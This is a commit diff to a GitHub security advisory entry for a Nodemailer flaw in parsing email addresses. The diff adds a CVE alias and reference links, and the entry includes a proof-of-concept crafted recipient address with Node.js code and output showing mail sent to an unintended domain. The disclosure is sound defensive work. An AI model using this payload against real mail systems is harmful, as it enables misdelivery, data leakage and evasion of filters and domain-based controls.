Publish GHSA-mm7p-fcc7-pg87

Author: advisory-database[bot]

advisories/github-reviewed/2025/10/GHSA-mm7p-fcc7-pg87/GHSA-mm7p-fcc7-pg87.json

@@ -1,9 +1,11 @@
 {
   "schema_version": "1.4.0",
   "id": "GHSA-mm7p-fcc7-pg87",
-  "modified": "2025-10-07T13:42:02Z",
+  "modified": "2025-11-17T17:29:26Z",
   "published": "2025-10-07T13:42:02Z",
-  "aliases": [],
+  "aliases": [
+    "CVE-2025-13033"
+  ],
   "summary": "Nodemailer: Email to an unintended domain can occur due to Interpretation Conflict",
   "details": "The email parsing library incorrectly handles quoted local-parts containing @. This leads to misrouting of email recipients, where the parser extracts and routes to an unintended domain instead of the RFC-compliant target.\n\nPayload: `\"[email protected] x\"@internal.domain`\nUsing the following code to send mail\n```\nconst nodemailer = require(\"nodemailer\");\n\nlet transporter = nodemailer.createTransport({\n  service: \"gmail\",\n  auth: {\n    user: \"\",\n    pass: \"\",\n  },\n});\n\nlet mailOptions = {\n  from: '\"Test Sender\" <[email protected]>', \n  to: \"\\\"[email protected] x\\\"@internal.domain\",\n  subject: \"Hello from Nodemailer\",\n  text: \"This is a test email sent using Gmail SMTP and Nodemailer!\",\n};\n\ntransporter.sendMail(mailOptions, (error, info) => {\n  if (error) {\n    return console.log(\"Error: \", error);\n  }\n  console.log(\"Message sent: %s\", info.messageId);\n\n});\n\n\n(async () => {\n  const parser = await import(\"@sparser/email-address-parser\");\n  const { EmailAddress, ParsingOptions } = parser.default;\n  const parsed = EmailAddress.parse(mailOptions.to /*, new ParsingOptions(true) */);\n\n  if (!parsed) {\n    console.error(\"Invalid email address:\", mailOptions.to);\n    return;\n  }\n\n  console.log(\"Parsed email:\", {\n    address: `${parsed.localPart}@${parsed.domain}`,\n    local: parsed.localPart,\n    domain: parsed.domain,\n  });\n})();\n```\n\nRunning the script and seeing how this mail is parsed according to RFC\n\n```\nParsed email: {\n  address: '\"[email protected] x\"@internal.domain',\n  local: '\"[email protected] x\"',\n  domain: 'internal.domain'\n}\n```\n\nBut the email is sent to `[email protected]`\n\n<img width=\"2128\" height=\"439\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/20eb459c-9803-45a2-b30e-5d1177d60a8d\" />\n\n\n### Impact:\n\n-    Misdelivery / Data leakage: Email is sent to psres.net instead of test.com.\n\n-    Filter evasion: Logs and anti-spam systems may be bypassed by hiding recipients inside quoted local-parts.\n\n-    Potential compliance issue: Violates RFC 5321/5322 parsing rules.\n\n-    Domain based access control bypass in downstream applications using your library to send mails\n\n### Recommendations\n\n-    Fix parser to correctly treat quoted local-parts per RFC 5321/5322.\n\n-    Add strict validation rejecting local-parts containing embedded @ unless fully compliant with quoting.",
   "severity": [
@@ -38,10 +40,22 @@
       "type": "WEB",
       "url": "https://github.com/nodemailer/nodemailer/security/advisories/GHSA-mm7p-fcc7-pg87"
     },
+    {
+      "type": "ADVISORY",
+      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-13033"
+    },
     {
       "type": "WEB",
       "url": "https://github.com/nodemailer/nodemailer/commit/1150d99fba77280df2cfb1885c43df23109a8626"
     },
+    {
+      "type": "WEB",
+      "url": "https://access.redhat.com/security/cve/CVE-2025-13033"
+    },
+    {
+      "type": "WEB",
+      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2402179"
+    },
     {
       "type": "PACKAGE",
       "url": "https://github.com/nodemailer/nodemailer"